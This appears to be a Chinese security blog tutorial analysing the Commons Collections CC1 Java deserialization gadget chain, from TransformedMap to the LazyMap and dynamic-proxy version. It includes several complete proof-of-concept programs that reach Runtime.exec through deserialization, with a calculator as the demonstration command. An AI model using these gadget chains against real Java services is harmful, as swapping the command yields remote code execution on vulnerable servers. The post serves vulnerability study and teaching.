JAVA反序列化之CommonCollections1利用链

6-java安全——java反序列化漏洞利用链 本篇将学习java反序列化漏洞原理,然后结合一个apache commons-collections组件反序列化漏洞来学习如何构造利用链。 我们知道序列化操作主要是由ObjectOutputStream类的 writeObject()方法来完成,反序列化操作主要是由ObjectInputStream类的readObject()方法来完成。当可序列化对象重写了readObject方法后,在反序列化时一般会调用序列化对象的readObject方法。 在Student类中重写ObjectInputSt 阅读详情

0x01前言

之前简单学习了JAVA反序列化和URLDNS这条利用链,讲过的基础就不再赘述了,今天来学习CommonCollections这条利用链。

0x02分析

由于这条链相对于URLDNS比较复杂,为了更容易理解,所以首先采用P牛精简后的一段DEMO来理解这条利用链:

DEMO1

 1package Commoncollections1;
 2import org.apache.commons.collections.Transformer;
 3import org.apache.commons.collections.functors.ChainedTransformer;
 4import org.apache.commons.collections.functors.ConstantTransformer;
 5import org.apache.commons.collections.functors.InvokerTransformer;
 6import org.apache.commons.collections.map.TransformedMap;
 7
 8import java.lang.annotation.Retention;
 9import java.lang.reflect.Constructor;
10import java.util.HashMap;
11import java.util.Map;
12
13class CommonCollections1 {
14    void main(String[] args) throws Exception {
15        Transformer[] transformers = new Transformer[]{
16                new ConstantTransformer(Runtime.getRuntime()),
17                new InvokerTransformer("exec", new Class[]{String.class},
18                        new Object[]
19                                {"calc"}),
20        };
21        Transformer transformerChain = new
22                ChainedTransformer(transformers);
23        Map innerMap = new HashMap();
24        Map outerMap = TransformedMap.decorate(innerMap, null,
25                transformerChain);
26        outerMap.put("test", "xxxx");
27    }
28}

在windows环境中,运行以上代码会发现打开了计算器。如果是其他系统需要将calc换成想要执行的程序路径。

简单看看代码,通过参数来看,发现最后一句代码好像没什么用似的,删掉试试。

结果发现不能打开计算器了,这说明,最终触发执行代码的代码是最后一条。

TransformedMap类

outerMap对象是TransformedMap.decorate返回的,所以要先研究一下这个类是干嘛用的,首先看一下这个类的继承图:

图1

通过类名可以看出,这是一个Map的装饰类,对应设计模式的装饰器模式。目的是为了向一个现有的对象添加新的功能,同时又不改变其结构。这个类中对原始类的某些接口的功能进行了扩展。

跟进这个TransformedMap类看看实现:

1    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
2        return new TransformedMap(map, keyTransformer, valueTransformer);
3    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
4        super(map);
5        this.keyTransformer = keyTransformer;
6        this.valueTransformer = valueTransformer;
7    }

可以看到,decorate中new了一个自身对象并返回,也就是调用了自己的构造函数,而构造函数调用了父类的构造函数,然后将两个Transformer类型的参数保存到了成员变量中。

继续看看这个类的put方法,为什么会执行代码:

 1    public Object put(Object key, Object value) {
 2        key = this.transformKey(key);
 3        value = this.transformValue(value);
 4        return this.getMap().put(key, value);
 5    }
 6    protected Object transformKey(Object object) {
 7        return this.keyTransformer == null?object:this.keyTransformer.transform(object);
 8    }
 9
10    protected Object transformValue(Object object) {
11        return this.valueTransformer == null?object:this.valueTransformer.transform(object);
12    }

可以看出,put方法首先调用了自己的transformKey方法和transformValue方法,然后调用了map的put方法。而transformKey和transformValue都是调用了我们开始传参进去的Transformer对象的transform方法。

ChainedTransformer类

仔细观察会发现,构造TransformedMap对象的时候,我们传参的Transformer类对象是一个transformerChain对象。

1Transformer transformerChain = new
2                ChainedTransformer(transformers);
3        Map innerMap = new HashMap();
4        Map outerMap = TransformedMap.decorate(innerMap, null,
5                transformerChain);

首先看一下继承图:

图2

可以看出transformerChain类是Transformer的子类,根据构造这个类的代码可以看出,这个类构造参数是一个Transformer数组,看一下实现代码:

1    public ChainedTransformer(Transformer[] transformers) {
2        this.iTransformers = transformers;
3    }
4
5    public Object transform(Object object) {
6        for(int i = 0; i < this.iTransformers.length; ++i) {
7            object = this.iTransformers[i].transform(object);
8        }

可以看到,构造函数直接将传入的参数保存在iTransformers成员变量中。而transform方法的实现则是循环调用数组中每一个元素的transform方法,并且将前一个调用的结果当做下一个调用的参数传入。

Transformer 接口

接下来继续往上看代码,看到定义了一个Transformer对象数组,对象分别是继承自Transformer的ConstantTransformer子类和InvokerTransformer子类。

查看Transformer的定义,发现是一个接口,并且只有一个方法:

1public interface Transformer {
2    Object transform(Object var1);
3}

然后去这两个类中看一下这个接口是如何实现的:

ConstantTransformer 类

1    public ConstantTransformer(Object constantToReturn) {
2        this.iConstant = constantToReturn;
3    }
4
5    public Object transform(Object input) {
6        return this.iConstant;
7    }

可以看到,ConstantTransformer这个类的构造函数将参数保存到类成员变量iConstant 中,然后transform接口将iConstant返回。

InvokerTransformer 类

 1    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
 2        this.iMethodName = methodName;
 3        this.iParamTypes = paramTypes;
 4        this.iArgs = args;
 5    }
 6
 7    public Object transform(Object input) {
 8        if(input == null) {
 9            return null;
10        } else {
11            try {
12                Class ex = input.getClass();
13                Method method = ex.getMethod(this.iMethodName, this.iParamTypes);
14                return method.invoke(input, this.iArgs);
15            } catch (NoSuchMethodException var4) {
16                throw new FunctorException("InvokerTransformer: The method \'" + this.iMethodName + "\' on \'" + input.getClass() + "\' does not exist");
17            } catch (IllegalAccessException var5) {
18                throw new FunctorException("InvokerTransformer: The method \'" + this.iMethodName + "\' on \'" + input.getClass() + "\' cannot be accessed");
19            } catch (InvocationTargetException var6) {
20                throw new FunctorException("InvokerTransformer: The method \'" + this.iMethodName + "\' on \'" + input.getClass() + "\' threw an exception", var6);
21            }
22        }
23    }

注意InvokerTransformer类的构造参数,分别是想要调用的方法名,参数的类型数组,以及参数数组。

构造方法中只是将这几个参数保存到了成员变量中,然后在transform方法中,通过传入的对象用反射调用的方式调用构造函数中传入的方法。

调用链总结

看到这里,是否有一种豁然开朗的感觉?

接下来对这一段Demo进行一个调用链总结:

1TransformedMap.put
2ChainedTransformer.transform
3ChainedTransformer.transformValue
4ChainedTransformer.transform
5ConstantTransformer.transform
6InvokerTransformer.transform
7Runtime.exec

到这里相信大家对上面的Demo原理已经了解了,但是现在有一个问题,我们在本机执行是可以执行代码了,但是怎么反序列化漏洞中来利用这个利用链呢?

通过上面的调用链总结可以看出,这一套调用链主要是围绕着Transformer接口的transform方法的,所以说要找到一个在readObject方法中能调用transform方法的地方。

AnnotationInvocationHandler类

AnnotationInvocationHandler类就是满足上面要求的一个类,首先我们来看一下这个类的构造函数:

1    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
2        Class[] var3 = var1.getInterfaces();
3        if(var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
4            this.type = var1;
5            this.memberValues = var2;
6        } else {
7            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
8        }
9    }

可以看到构造函数有两个参数,第一个参数是继承自Annotation的类的Class对象,第二个参数是一个Map。

将参数1保存在了type变量中,将参数2保存在了memberValues变量中。

接下来看一下readObject方法:

 1    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
 2        var1.defaultReadObject();
 3        AnnotationType var2 = null;
 4
 5        try {
 6            var2 = AnnotationType.getInstance(this.type);
 7        } catch (IllegalArgumentException var9) {
 8            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
 9        }
10
11        Map var3 = var2.memberTypes();
12        Iterator var4 = this.memberValues.entrySet().iterator();
13
14        while(var4.hasNext()) {
15            Entry var5 = (Entry)var4.next();
16            String var6 = (String)var5.getKey();
17            Class var7 = (Class)var3.get(var6);
18            if(var7 != null) {
19                Object var8 = var5.getValue();
20                if(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
21                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
22                }
23            }
24        }
25
26    }

重点主要在这一部分:

图3

通过上面的构造函数可以看出,memberValues保存的就是我们需要传入的Map对象,这里调用了Map.entrySet(),entrySet方法会返回一个Set集合,然后通过iterator获取一个迭代器遍历这个集合。集合中的数据就是一个Entry,Entry中是我们的键值对。

然后在调用Entry.setValue来设置数据。

所以这里要看一下setValue是怎么实现的,直接在IDEA里go to declaration发现是map接口中定义的,所以要在实现类中去找。

我们传入的类是TransformedMap类型的,所以就去TransformedMap找setValue方法。

但是发现TransformedMap类中没有setValue方法,接着去TransformedMap的父类AbstractInputCheckedMapDecorator找。在这里发现如下代码:

图4

可以看到setValue在AbstractInputCheckedMapDecorator.MapEntry中定义。setValue调用了parent.checkSetValue方法。而parent通过上面的构造函数可以看到是一个父类对象,所以我们去看一下TransformedMap类中是否有checkSetValue方法:

1    protected Object checkSetValue(Object value) {
2        return this.valueTransformer.transform(value);
3    }

可以看到TransformedMap类中定义了checkSetValue方法,而checkSetValue方法调用了valueTransformer.transform方法。这就和我们之前执行的put一个效果了,可以直接触发我们精心构造的利用链。

这里有点绕,如果对这一块不明白可以自己调试一下看看。

尝试构造新的POC

了解了AnnotationInvocationHandler类之后,我们用刚才的TransformedMap对象构造一个AnnotationInvocationHandler对象,然后序列化AnnotationInvocationHandler对象,这时候会发现报错了,原因是Runtime对象无法序列化,因为没实现Serializable接口,所以这时候要通过反射调用,更改后的代码如下:

 1package Commoncollections1;
 2import org.apache.commons.collections.Transformer;
 3import org.apache.commons.collections.functors.ChainedTransformer;
 4import org.apache.commons.collections.functors.ConstantTransformer;
 5import org.apache.commons.collections.functors.InvokerTransformer;
 6import org.apache.commons.collections.map.TransformedMap;
 7import java.io.ByteArrayInputStream;
 8import java.io.ByteArrayOutputStream;
 9import java.io.ObjectInputStream;
10import java.io.ObjectOutputStream;
11import java.lang.annotation.Retention;
12import java.lang.reflect.Constructor;
13import java.lang.reflect.InvocationHandler;
14import java.util.HashMap;
15import java.util.Map;
16public class DEMO2 {
17    public static void main(String[] args) throws Exception {
18        Transformer[] transformers = new Transformer[]{
19                new ConstantTransformer(Runtime.class),
20                new InvokerTransformer("getMethod", new Class[]{
21                        String.class,
22                        Class[].class}, new Object[]{"getRuntime",
23                        new Class[0]}),
24                new InvokerTransformer("invoke", new Class[]{Object.class,
25                        Object[].class}, new Object[]{null, new Object[0]
26                }),
27                new InvokerTransformer("exec", new Class[]{String.class},
28                        new String[]{
29                                "calc"}),
30        };
31        Transformer transformerChain = new ChainedTransformer(transformers);
32        Map innerMap = new HashMap();
33        innerMap.put("value", "xxxx");
34        Map outerMap = TransformedMap.decorate(innerMap, null,
35                transformerChain);
36        Class clazz =
37                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
38        Constructor construct = clazz.getDeclaredConstructor(Class.class,
39                Map.class);
40        construct.setAccessible(true);
41        InvocationHandler handler = (InvocationHandler)
42                construct.newInstance(Retention.class, outerMap);
43        ByteArrayOutputStream barr = new ByteArrayOutputStream();
44        ObjectOutputStream oos = new ObjectOutputStream(barr);
45        oos.writeObject(handler);
46        oos.close();
47        System.out.println(barr);
48        ObjectInputStream ois = new ObjectInputStream(new
49                ByteArrayInputStream(barr.toByteArray()));
50        Object o = (Object) ois.readObject();
51    }
52}

运行代码发现没有报错,但是并没有打开计算器。这是因为什么呢?

以下涉及到JAVA注解方面知识,这里只进行简单分析,详细过程可以参考- https://xz.aliyun.com/t/7031#toc-8

通过调试发现,在AnnotationInvocationHandler类反序列化过程中,有这么一个判断:

图5

如果var7等于null,则不会执行下面的代码也就不会执行我们精心构造的利用链。

通过代码可以看出,var7是var3.get(var6)得到的,var6是我们传入的key,通过调试发现,var3详细信息如下:

图6

可以看出var3中包含了一个Hashmap$Node的元素,这个元素的key值是value,而我们传入的key值是test,所以这里应该要改为value值。

最终POC

经过上面的分析,将代码中我们传入的key值改为value在试:

 1package Commoncollections1;
 2
 3import com.sun.xml.internal.messaging.saaj.util.ByteInputStream;
 4import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
 5import org.apache.commons.collections.Transformer;
 6import org.apache.commons.collections.functors.ChainedTransformer;
 7import org.apache.commons.collections.functors.ConstantTransformer;
 8import org.apache.commons.collections.functors.InvokerTransformer;
 9import org.apache.commons.collections.map.TransformedMap;
10
11import java.io.ObjectInputStream;
12import java.io.ObjectOutputStream;
13import java.lang.annotation.Retention;
14import java.lang.reflect.Constructor;
15import java.util.HashMap;
16import java.util.Map;
17
18/**
19 * Created by King on 2022/1/12.
20 */
21public class DEMO3 {
22    public static void main(String[] args) throws Exception {
23        Transformer[] transformers = new Transformer[]{
24                new ConstantTransformer(Runtime.class),
25                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
26                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
27                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
28        };
29
30        Transformer transformerChain = new
31                ChainedTransformer(transformers);
32        Map innerMap = new HashMap();
33        innerMap.put("value", "xxxx");
34        Map outerMap = TransformedMap.decorate(innerMap, null,
35                transformerChain);
36
37        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
38        Constructor construction = cls.getDeclaredConstructor(Class.class,Map.class);
39        construction.setAccessible(true);
40        Object nob = construction.newInstance(Retention.class,outerMap);
41        ByteOutputStream bo = new ByteOutputStream();
42        ObjectOutputStream op = new ObjectOutputStream(bo);
43        op.writeObject(nob);
44        System.out.println(bo);
45        ObjectInputStream or = new ObjectInputStream(new ByteInputStream(bo.getBytes(),bo.size()));
46        Object readOb = or.readObject();
47    }
48}

运行代码,可以看到成功打开计算器:

图7

真正的CC1链

上面分析了这么多,其实这并不是真正的CC1利用链,真正的CC1如下:

图8

可以看到,ysoserial中没有用TransformedMap,而是用的LazyMap类,查看该类定义,找一下在哪里调用了transform:

图9

发现在该类中的get方法调用了transfrom方法,也就是说这个类通过get来触发我们构造的利用链。

但是如何让AnnotationInvocationHandler类调用get方法呢?看看AnnotationInvocationHandler的定义,发现在invoke方法中调用了get方法:

图10

那么如何让AnnotationInvocationHandler类在反序列化的过程中调用get方法呢?

动态代理

答案就是java动态代理,通过动态代理可以很方便的拦截对某个对象的某个方法的调用进行拦截。

比如有如下接口:

 1interface testFace{
 2    public void print();
 3    public void Get();
 4    public void put();
 5}
 6class testClas implements testFace{
 7    public void print(){System.out.println("print runing");}
 8    public void Get(){System.out.println("Get runing");}
 9    public void put(){System.out.println("put runing");}
10}

我想对这个接口中的某个方法调用进行拦截,可以通过动态代理的方式来实现。

 1class testProxyInvoke implements InvocationHandler{
 2    private testFace ob = null;
 3    public testProxyInvoke(testFace ob)
 4    {
 5        this.ob = ob;
 6    }
 7    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable{
 8        System.out.print("attempt call "+method.getName());
 9        if(method.getName().equals("print"))
10        {
11            this.ob.put();
12        }
13        return (Object)null;
14    }
15    public testFace getOb()
16    {
17        return this.ob;
18    }
19}

InvocationHandler接口是一个调用处理器的接口,如何相对指定对象进行代理,通过实现这个接口定义invoke接口,然后创建一个代理后,所有对指定对象的调用都会首先调用invoke方法。

完整代码如下:

图11

可以看到,我们只是调用了print方法,但是最终却调用了put方法。这就是因为在invoke方法中做的处理。

完整CC1利用链

为了方便调试,参考cc1链在本地写了一份,代码如下:

 1    public static void main(String[] args) throws Exception
 2    {
 3        Transformer[] transformers = new Transformer[]{
 4                new ConstantTransformer(Runtime.class),
 5                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
 6                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
 7                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
 8        };
 9
10        Transformer transformerChain = new
11                ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
12        Map innerMap = new HashMap();
13        Map outerMap = LazyMap.decorate(innerMap,transformerChain);
14
15        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
16        Constructor construction = cls.getDeclaredConstructor(Class.class,Map.class);
17        construction.setAccessible(true);
18        Object nob = construction.newInstance(Retention.class,outerMap);
19        Object handler = Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},(InvocationHandler) nob);
20        Object fob = construction.newInstance(Retention.class,handler);
21
22        Class Chained = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");
23
24        Field fd =  Chained.getDeclaredField("iTransformers");
25        fd.setAccessible(true);
26        fd.set(transformerChain,transformers);
27        ByteOutputStream bo = new ByteOutputStream();
28        ObjectOutputStream op = new ObjectOutputStream(bo);
29        op.writeObject(fob);
30        System.out.println(bo);
31        ObjectInputStream or = new ObjectInputStream(new ByteInputStream(bo.getBytes(),bo.size()));
32        Object readOb = or.readObject();

运行代码,会发现弹出了计算器。

jdk8u71之后为什么不行

不管是P牛的思路还是真正的CC1链,在jdk8u71之后都无法使用,至于为什么可以看下图新老版本对比,左边为老版本右边为新版本:

图12

可以看到在新版jdk中,反序列化不再通过defaultReadObject方式,而是通过readFields 来获取几个特定的属性,这两种方式有什么区别呢,经过我自己多次调试发现defaultReadObject 可以恢复对象本身的类属性,比如this.memberValues 就能恢复成我们原本设置的恶意类,但通过readFields方式,this.memberValues 就为null,所以后续执行get()就必然没发触发,这也就是高版本不能使用的原因,网上大多会说是因为取消了SetValue导致不能触发,但其实不然,思路一确实是因为这个原因,但CC1和取消setValue没有半毛钱关系。

0x03总结

整篇文章总体思路是跟着P牛的文章思路来的,只不过因为基础薄弱很多地方都详细分析了一遍。分析完之后感慨大佬是怎么从那么多的代码中找到这样一条可以利用的调用链的,真的很巧妙。

java安全(七) 反序列化3 CC利用链 TransformedMap版 给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 关注公众号:b1gpig信息安全,文章推送不错过 众所周知,CommonCollections利⽤链是作为反序列化学习不可绕i过的一关 图解 先挂一张wh1te8ea的利用链图解,非常直观! 代码demo 分析: 代码使用了phith0n大佬的代码,对原本复杂的源码进行了优化,适合复现以及更加深刻理解 demo代码: package test.org.vulhub.Ser; import org.apache.commons.collecti. 阅读详情

相关推荐

《Ventoy 制作系统安装 U 盘的具体步骤》

然后您可以在电脑的磁盘管理中对 U 盘进行快速格式化,选择 FAT32 或 NTFS 文件系统。至此,Ventoy 系统安装 U 盘就制作完成了。您可以在需要安装系统的电脑上,从 U 盘启动,然后选择相应的系统镜像进行安装。安装完成后,将您需要的操作系统镜像文件(如 Windows、Linux 等的 ISO 格式镜像)复制到 U 盘的根目录。在安装程序中,选择您插入的 U 盘设备,确保选择正确,以免误操作。2. 确认选择的 U 盘盘符正确,防止误操作导致其他磁盘数据丢失。点击“安装”按钮,等待安装完成。

jiyiwangluokeji的博客 2678

告别脚本小子系列丨JAVA安全(6)——反序列化利用链(上)

我们通常把反序列化漏洞和反序列化利用链分开来看,有反序列化漏洞不一定有反序列化利用链(经常用shiro反序列化工具的人一定遇到过一种场景就是找到了key,但是找不到gadget,这也就是在这种场景下没有可利用的反序列化利用链)。如果我们向某个漏洞提交平台提交一个反序列化漏洞,但是不给反序列化利用链,那么平台大概率是不会接受这种漏洞的。...

C20220511的博客 1361

CentOS 7 安装 Python 3.10

我这里已经软链接了,正常未链接之前是python->python2.7而不是python3.10。python2.7默认安装是在 /usr/bin目录中,切换到/usr/bin/更改yum配置,因为其要用到python2才能执行,否则会导致yum不能正常使用。2. 安装 Python 3.10 必需的 openssl >= 1.1.1。默认的centos7是没有安装pip,先添加epel扩展源。/usr/bin/python 修改为如下。添加软链接,将原来的链接备份。添加python3的软链接。

bensonyang888的博客 2907

【java安全】原生反序列化利用链JDK7u21

进行反序列化利用。我们肯定会想,如果不利用第三方类库,能否进行反序列化利用链呢?这里还真有:JDK7u21。但是只适用于java 7u及以前的版本在使用这条利用链时,需要设置jdk为jdk7u21。

leekos的博客,分享web安全相关知识~ 4148

Xilinx同步FIFO IP核的两种读模式对比:Standard vs FWFT(附Vivado仿真代码)

本文深入解析Xilinx同步FIFO IP核的两种读模式——Standard与FWFT,通过时序仿真和Vivado代码示例对比其性能差异。Standard模式适合严格流水线设计,而FWFT模式在低延迟场景表现更优。文章包含详细的testbench搭建指南和性能实测数据,帮助FPGA工程师优化数据流设计。

table的专栏 348

BL0910-从零到一:多路交/直流电能计量的实战配置与校准

本文详细介绍了BL0910芯片在多路交直流电能计量中的实战应用。从硬件连接、SPI通信配置,到软件初始化、核心寄存器设置,再到偏置与增益校准,提供了完整的配置与校准指南。文章重点阐述了直流测量模式的切换要点及数据读取的工程化处理,帮助开发者快速实现高精度、多通道的电能监控方案。

rice5的博客 569

Java反序列化利用链篇 | URLDNS链

如果一个序列化的hashMap对象中存在一个URL对象,则在进行反序列hashMap对象的时候,就会触发URL对象的hashCode()方法,进而触发DNS请求。在put时不触发url的hashCode方法,这个显然也不行,只要put执行,hash()会执行,hashCode()必然执行,(除非key为空,但是不现实)。原因其实很简单,反序列化之前,hashMap对象存在URL对对象,但是URL对象的hashCode不是-1,因此反序列化时,执行不到。如果调用了URL对象的hashCode,则会调用。

哦 卷! 1272

Hopf振荡器在机器人步态控制里到底怎么用?一个CPG仿生案例说清楚

本文深入解析了Hopf振荡器在机器人步态控制中的实际应用,通过CPG仿生案例详细展示了从数学方程到关节指令的完整流程。重点探讨了Hopf振荡器的极限环稳定性、参数调节技巧及自适应控制策略,为机器人运动控制提供了高效解决方案。

weixin_29284657的博客 203

Java反序列化之CommonsCollections CC1链分析

cc链的研究可以说是非常适合java代码审计的入门篇了,十分考验java代码功力,其实也是基础功,跨过了这个门槛,在看看其他业务代码就会比较轻松了。不要说代码难,看不懂,作者也是刚入门java没几个月的小白,只要基本功扎实,慢慢看 慢慢调式。你也会慢慢明白其中的运行逻辑。commons-collections 是 Apache Commons 项目中的一个子项目,它提供了一组有用的集合类,这些类扩展了 Java 标准库中的集合类,并提供了许多额外的功能。

shelter1234567的博客 825

STM32N6:MCU+NPU架构如何重塑边缘AI部署新范式

STM32N6作为业界首款MCU+NPU架构的通用微控制器,通过集成600 GOPS算力的NPU与800MHz Cortex-M55内核,实现了边缘AI部署的革命性突破。该方案在工业视觉和智能家居等场景中,以超低功耗和成本提供实时AI处理能力,性能较传统MCU提升超100倍,重塑了边缘智能设备的设计范式。

g8f9d0s1a2的博客 1293

《QGIS快速入门与应用基础》009:国内镜像源(清华大学/阿里云)下载技巧

针对国内用户下载QGIS速度慢、易中断的问题,推荐使用清华大学和阿里云两大国内镜像源,提供3-10MB/s的极速下载方案。详细解析镜像源核心优势、分步骤下载指南及校验方法,对比清华(同步快、北方优选)与阿里云(南方节点多)的特点。针对常见问题如版本延迟、404错误等提供解决方案,并介绍搭配IDM等工具实现多线程加速的进阶技巧。通过镜像源+下载工具组合,用户可高效获取QGIS安装包,为后续系统安装奠定基础。

LuckyHanMo的博客 1754

java反序列化之CommonCollections1利⽤链的学习

本文主要记录自己的学习记录,主要摘自P神的文章,讲解CC1链的利用过程。

dayouzi的博客 1072

PrimeTime low power-SMVA分析(4)

这些功能只有在将timing_enable_cross_voltage_domain_analysis变量设置为true时才能使用。DVFS场景与在分布式多场景分析(DMSA)中分析的运行条件场景无关。- check_timing 和 report_exceptions 命令通过将检查或报告应用于所有可能的场景和电压组合来支持SMVA。- 相位锁定环生成的时钟(create_generated_clock -pll_feedback 和 -pll_output)在多个场景的情况下,返回最差情况的值。

QRBQ 650

java--commoncollections6 反序列化利用学习

总结 上周花了一周的时间学习commoncollections1,对java的反序列化利用好像有一丝丝的理解了。 暂时的思路就是:首先寻找存在对应方法的类,LazyMap-->get,TransformedMap-->setValue,put 从寻找一个存在readObject方法的类出发,通过寻找其它Object导致最后能触发上面的方法。 问题所在 从commoncollections1的学习发现,这条利用链对jdk版本有限制,高版本的jdk使用不了,具体原因就是在Java 8u71

zyer 397

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

java反序列化学习之CommonCollections3利用链的学习

在前文中,我们学习了Java的类加载过程,类加载器以及Java中加载字节码的一些方法,其中介绍了TemplatesImpl,TemplatesImpl是一个可以加载字节码的类,通过调用其newTransformer()方法,即可执行这段字节码的类构造器。那么,在反序列化的漏洞,能否利用这个特性执行任意代码呢?

dayouzi的博客 866

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

Java反序列化2-CommonCollections利用链分析

首先这篇文章不是出自yso中cc1的payload,该篇利用的是TransformedMap。以下是主要的参考文章汇总:https://www.yuque.com/tianxiadamutou/zcfd4v/hsh32p#3b11f6b6https://xz.aliyun.com/t/7031#toc-8p牛-代码审计-Java漫谈首先我会分析POC的核心代码,然后讲解为什么其他方式不行,最后为了提高漏洞利用的普适程度,引出POC的全部代码。总体思路: 0x01 实验环境 本次的实验环境是jdk1.7的7u

weixin_43263451的博客 1476

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

java反序列化之CommonCollections6利⽤链的学习

前文学习CC1链和URLDNS链的学习,同时学习过程中知道cc1受jdk版本的限制,故而进一步分析cc6链的利用过程,这个利用链不受jdk版本的限制,只要commons collections小于等于3.2.1,都存在这个漏洞。

dayouzi的博客 1130

Java 反序列化

反序列化基础 Java 的序列化(Serialization)和反序列化(Deserialization)是将对象的状态转换为字节流并恢复的过程。这个过程使对象可以保存到文件、通过网络传输或保存到数据库中,并在稍后恢复成对象。 序列化(Serialization):将 Java 对象的状态转换为字节流的过程。这使得对象可以保存到文件、发送到其他 JVM 甚至通过网络传输。 反序列化(Deserialization):将字节流转换回 Java 对象的过程。这允许恢复先前序列化的对象状态。 序列化条件 要使

sky123博客 3912

CommonCollections1反序列化利用链分析

文章目录前言CC1利用链CC1环境部署Java命令执行 前言 在前面的文章 JAVA代码审计之Shiro反序列化漏洞分析 中介绍了 Java 反序列化漏洞原理、并通过 IDEA 动态调试分析了 CVE-2016-4437 Apache Shiro 反序列化漏洞的程序存在可被用户控制的序列化数值的形成( RememberMe 字段使用的 Cookie = Base64(AES(Serializable(用户ID))))。 反序列化漏洞的成因在于应用程序把其他格式的数据(如字节流,XML 数据、JSON 格

道阻且长,行则将至 1735

[Java安全]ysoserial_CommonCollections1_LazyMap链

ysoserial_CommonCollections1_LazyMap 本文分析yso中的利用链 本机环境: JDK版本:jdk1.7u_51 CC版本:Commons-Collections 3.1 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collection

cosmoslin的博客 3762

Java反序列化3-CommonsCollections1利用链分析

本文分析的是yso中CommonCollections1的payload,其payload前半段前文已经分析过,重点是对后半段的讲解。上一节的payload是利用TransformedMap来完成CommonsCollections链的利用的(当调用put方法时会调用transform方法)这次没有利用TransformedMap,而是利用LazyMap来完成CommonsCollections链的利用,其中还涉及到了动态代理,该payload稍微麻烦了一点。调用链图示:https://blog.csdn.

weixin_43263451的博客 463

Java反序列化漏洞详细分析合集-1

关于一些反序列化基础以及URLDNS、CC链子、Fastjson常用链、Shiro链子、CB链子、JNDI高版本绕过链等记录

Aiwin的博客 1360

CommonCollections1链 分析

cc链1

arcuied 184
上一篇: Java开发学习----DI依赖注入之setter及构造器注入解析
下一篇: Java 通用配置(三)用户配置实现
javaYY_
博客等级 码龄4年 148粉丝 69原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值